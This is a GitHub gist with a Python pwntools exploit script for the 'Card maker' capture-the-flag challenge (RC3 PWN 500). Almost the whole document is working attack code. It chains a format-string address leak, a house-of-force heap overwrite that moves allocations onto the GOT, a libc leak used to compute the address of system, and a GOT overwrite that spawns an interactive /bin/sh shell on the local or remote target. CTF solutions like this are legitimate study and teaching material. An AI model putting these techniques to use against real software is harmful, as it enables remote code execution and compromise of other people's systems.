Last active
June 4, 2017 18:51
-
-
Save Grazfather/41cdebfe6f952389773daaba92039c19 to your computer and use it in GitHub Desktop.
RC3 PWN 500 Card maker solution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
from pwn import * | |
port = 8080 | |
strtol_addr = 0x6030B0 | |
def add_card(frum, to, ip, port, border, length, data): | |
r.sendline("1") | |
r.recvuntil("Who is this card from?\n") | |
r.sendline(frum) | |
r.recvuntil("Who is this card going to?\n") | |
r.sendline(to) | |
r.recvuntil("What address and port should I send this to? (ip:port)\n") | |
r.sendline("{}:{}".format(ip, port)) | |
r.recvuntil("What border would you like around the card? (max of 2 chars)\n") | |
r.sendline(border) | |
r.recvuntil("How long is your message...?") | |
r.sendline(length) | |
r.recvuntil("What would you like your card to say? (end with 'done.' on its own line)\n") | |
r.sendline(data) | |
r.sendline("done.") | |
r.recv() | |
def delete_card(index): | |
r.sendline("4") | |
r.recvuntil("Which card do you want to delete: ") | |
r.sendline(str(index)) | |
def send_recv_card(): | |
lr = listen(port=port, bindaddr=host) | |
r.sendline("5") | |
recvd = lr.readuntil("Cardmaker") | |
lr.close() | |
return recvd | |
def list_card_contents(num): | |
r.sendline("2") | |
r.recvuntil("Which card do you want to print the fields of: ") | |
r.sendline(str(num)) | |
r.recvuntil("Contents: ") | |
return r.recv() | |
def exploit(): | |
# Leak out addresses | |
# -- rsi, rdx, rdx, r8, r9, [rsp ...] | |
add_card("me", "you", host, port, "%X", "6", "hello") | |
recvd = send_recv_card() | |
# Parse out heap address from r9 | |
# -- Luckily rsi, rdx, rdx, r8 are always 1, 1, 3, 1 bytes longs | |
heap = int(recvd[recvd.index('\n')+7:recvd.index('400')], 16) & 0xFFFFF000 | |
log.info("Got heap address 0x{:X}".format(heap)) | |
# Overwrite the wilderness with -1 | |
add_card("me", "you", host, port, "xx", " -10", p64(0)*3 + p64(2**64-1) + p64(0)*2) | |
# Move the wilderness on top of the GOT | |
# -- size = target - wilderness address - 16 | |
target = strtol_addr | |
wild = heap + 0x98 | |
size = target - wild - 16 - 0x28 - 0x30 | |
add_card("me", "you", host, port, "xx", " {}".format(size), "") | |
# Leak out the original value of this GOT entry | |
# This'll overwrite the GOT entry and corrupt it! So we make sure it's one we don't need anymore | |
# -- First a dummy alloc that takes one out of a bin | |
add_card("me", "you", host, port, "xx", "0", "") | |
# Now this one will point to memset | |
add_card("me", "you", host, port, "xx", "0", "") | |
contents = list_card_contents(5) | |
memset_addr = u64(contents[:6] + "\x00\x00") | |
log.info("Found memset at 0x{:x}".format(memset_addr)) | |
system_addr = memset_addr - 0x45f20 | |
log.info("System should be at 0x{:x}".format(system_addr)) | |
# Now next alloc will land on close | |
delete_card(3) | |
add_card("me", "you", host, port, "xx", "50", p64(system_addr)) | |
r.sendline("/bin/sh") | |
r.interactive() | |
if __name__ == "__main__": | |
log.info("For remote: %s HOST PORT" % sys.argv[0]) | |
if len(sys.argv) > 1: | |
r = remote(sys.argv[1], int(sys.argv[2])) | |
host = "aws ip" | |
exploit() | |
else: | |
r = process(['./cardmaker'], env={"LD_PRELOAD":"libc-2.23.so"}) | |
print util.proc.pidof(r) | |
host = "0" | |
pause() | |
exploit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment